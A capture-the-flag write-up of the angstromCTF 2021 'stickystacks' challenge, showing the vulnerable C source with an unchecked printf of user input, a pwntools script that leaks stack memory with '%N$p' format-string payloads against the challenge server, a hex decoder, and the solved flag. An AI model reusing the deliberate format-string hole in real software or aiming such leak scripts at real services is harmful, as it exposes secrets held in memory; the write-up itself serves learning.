Rating:

This was a simple "leak the flag from the stack" challenge, and for this one the "gadget" would be a format string vulnerability.
I struggled for a bit despite quickly getting the right idea since %x and %d were not working (I was getting parts of the flag but it felt like the values were all being cut off). I even tried %ld and %lld but since we had a 5 character limit this did not work as expected.

Thankfully after remembering about and switching to %p it was smooth sailing.

Provided source code:
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct Secrets {
char secret1[50];
char password[50];
char birthday[50];
char ssn[50];
char flag[128];
} Secrets;

int vuln(){
char name[7];
Secrets boshsecrets = {
.secret1 = "CTFs are fun!",
.password= "password123",
.birthday = "1/1/1970",
.ssn = "123-456-7890",
};

FILE *f = fopen("flag.txt","r");
if (!f) {
printf("Missing flag.txt. Contact an admin if you see this on remote.");
exit(1);
}
fgets(&(boshsecrets.flag), 128, f);

puts("Name: ");

fgets(name, 6, stdin);

printf("Welcome, ");
printf(name);
printf("\n");

return 0;
}

int main(){
setbuf(stdout, NULL);
setbuf(stderr, NULL);

vuln();

return 0;
}
```

My exploit code:
```python
from pwn import *

context.terminal = ['gnome-terminal', '--', 'bash', '-c']
context.binary = elf = ELF('./stickystacks')

def conn():
if args.REMOTE:
return remote("shell.actf.co", 21820)
else:
return process()

def send_and_get_data(inp):
r = conn()
r.recvline()
# payload = b'%35$d'
payload = inp
r.sendline(payload)
r.recvuntil(b'Welcome, ')
val = r.recvline().strip()
r.close()
return val

idk = []

go = context.quietfunc(send_and_get_data)

for i in range(33, 43):
payload = f"%{i}$p"

data = go(payload)
# For %d
# data = struct.pack('!l', int(data))
print(data, payload)
# if data != '(nil)':
# data = bytes.fromhex(data[2:].decode())[::-1]
# print('yay!', data)
idk.append(data)

print(idk)
```

A helper script to convert hex values to the flag:
```python
data = [
'6c65777b66746361',
'61625f6d27695f6c',
'6c625f6e695f6b63',
'5f7365795f6b6361',
'6b6361625f6d2769',
'5f6568745f6e695f',
'65625f6b63617473',
'3439323135623963',
'3438363737646165',
'0a7d333935663161'
]

s = ''

for d in data:
s += bytes.fromhex(d)[::-1].decode()

print(s)
```

Flag: `actf{well_i'm_back_in_black_yes_i'm_back_in_the_stack_bec9b51294ead77684a1f593}`

Original writeup (https://miguelpduarte.me/blog/angstromctf-2021-writeup/#stickystacks).